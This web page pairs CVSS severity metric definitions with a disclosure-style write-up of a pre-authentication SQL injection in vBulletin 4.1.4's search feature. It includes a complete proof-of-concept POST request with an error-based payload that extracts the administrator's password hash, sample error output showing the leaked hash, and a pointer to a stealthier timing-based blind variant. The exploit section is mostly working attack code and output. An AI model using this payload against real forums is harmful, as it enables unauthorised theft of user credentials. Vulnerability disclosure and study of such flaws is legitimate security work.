The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
vBulletin "Search UI" SQL Injection: Take Two
It looks like someone has found another SQL Injection bug in the vBulletin "Search UI". After taking a quick look @ the bug, I have determined it to be exploitable, pre auth.
The actual SQL Injection lies within the add_advanced_search_filters() function. This is due to vBulletin not sanitizing the "messagegroupid" and "categoryid" arrays before implode()'ing them directly into a SQL query.
Exploiting this issue is fairly straight forward, but is pretty much a blind SQL Injection as far as I can tell in the small amount of time I have looked at it. However, using the methods outlined here, one can easily extract data at the expense of possibly tipping off the database admin. This is because vBulletin displays the verbose SQL query within HTML comments whenever displaying an SQL error screen. (Even for non authenticated users)
Proof of concept:
POST /search.php?do=process HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
humanverify[]=&searchfromtype=vBForum%3ASocialGroupMessage&do=process&contenttypeid=5&categoryid[]=-99) union select password from user where userid=1 and row(1,1)>(select count(*),concat( (select user.password) ,0x3a,floor(rand(0)*2)) x from (select 1 union select 2 union select 3)a group by x limit 1) -- /*
The above post query will successfully display the passsword hash for the userid=1 within the comments of the SQL error page used by vBulletin, as seen in the example below.
<!--
Database error in vBulletin 4.1.4:
Invalid SQL:
SELECT socialgroupcategory.title
FROM socialgroupcategory AS socialgroupcategory
WHERE socialgroupcategory.socialgroupcategoryid IN (-99) union select password from user where userid=1 and row(1,1)>(select count(*),concat( (select user.password) ,0x3a,floor(rand(0)*2)) x from (select 1 union select 2 union select 3)a group by x limit 1) -- /*);
MySQL Error : Duplicate entry '4c62730e24e31ab9a0b8229a7ff72836:1' for key 'group_key'
Error Number : 1062
Request Date : Wednesday, July 20th 2011 @ 10:24:59 PM
Error Date : Wednesday, July 20th 2011 @ 10:24:59 PM
Script : http://127.0.0.1/search.php?do=process
Referrer :
IP Address : 127.0.0.1
Username : Unregistered
Classname : vB_Database
MySQL Version :
-->
And of course if you prefer to exploit this in a more stealthy manner, there is always a blind SQL Injection approach using timed BENCHMARK() queries, etc. that will likely work for you.
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